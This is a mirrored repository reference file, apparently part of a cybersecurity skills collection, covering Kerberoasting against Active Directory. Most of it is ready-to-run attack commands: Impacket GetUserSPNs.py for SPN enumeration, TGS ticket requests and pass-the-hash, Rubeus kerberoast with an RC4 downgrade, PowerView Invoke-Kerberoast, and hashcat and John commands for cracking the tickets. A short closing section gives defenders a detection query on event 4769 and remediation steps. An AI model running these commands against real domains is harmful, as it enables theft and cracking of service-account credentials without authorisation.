mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-13 06:34:57 +03:00
c21af3347e
- Add scripts/agent.py and references/api-reference.md to all remaining skills - Update all 648 LICENSE files: copyright now reads 'Mahipal' - Add implementing-security-monitoring-with-datadog (new skill with full anatomy) - All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
2.2 KiB
2.2 KiB
API Reference: Kerberoasting with Impacket
MITRE ATT&CK T1558.003 — Kerberoasting
Attack Flow
- Authenticate to AD with domain user credentials
- Query LDAP for accounts with SPNs
- Request TGS tickets for those SPNs
- Extract ticket hashes
- Crack offline with wordlist
Impacket — GetUserSPNs.py
Enumerate SPN Accounts
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1
Request TGS Tickets
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 \
-request -outputfile kerberoast.txt
With NTLM Hash
GetUserSPNs.py domain.local/user -hashes :NTLM_HASH -dc-ip 10.10.10.1 -request
Output Format (Hashcat mode 13100)
$krb5tgs$23$*svc_sql$DOMAIN.LOCAL$...$<hash>
Rubeus — Windows Kerberoasting
Kerberoast All SPNs
Rubeus.exe kerberoast /outfile:hashes.txt
Target Specific User
Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt
RC4 Only (weaker, easier to crack)
Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
Hash Cracking
Hashcat
# Kerberos 5 TGS-REP etype 23 (RC4)
hashcat -m 13100 hashes.txt wordlist.txt
# Kerberos 5 TGS-REP etype 17 (AES-128)
hashcat -m 19600 hashes.txt wordlist.txt
# Kerberos 5 TGS-REP etype 18 (AES-256)
hashcat -m 19700 hashes.txt wordlist.txt
John the Ripper
john --wordlist=wordlist.txt hashes.txt
PowerShell Enumeration
Find SPN Accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
-Properties ServicePrincipalName, PasswordLastSet
Request TGS (PowerView)
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash
Detection
Event IDs
| Event | Description |
|---|---|
| 4769 | Kerberos Service Ticket Request |
| 4770 | Service Ticket Renewed |
Detection Query
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17" // RC4
| where ServiceName !endswith "$"
| summarize count() by Account, ServiceName
Remediation
- Use Group Managed Service Accounts (gMSA)
- Set strong passwords (25+ characters) on SPN accounts
- Enable AES encryption for Kerberos (disable RC4)
- Monitor Event 4769 for anomalous TGS requests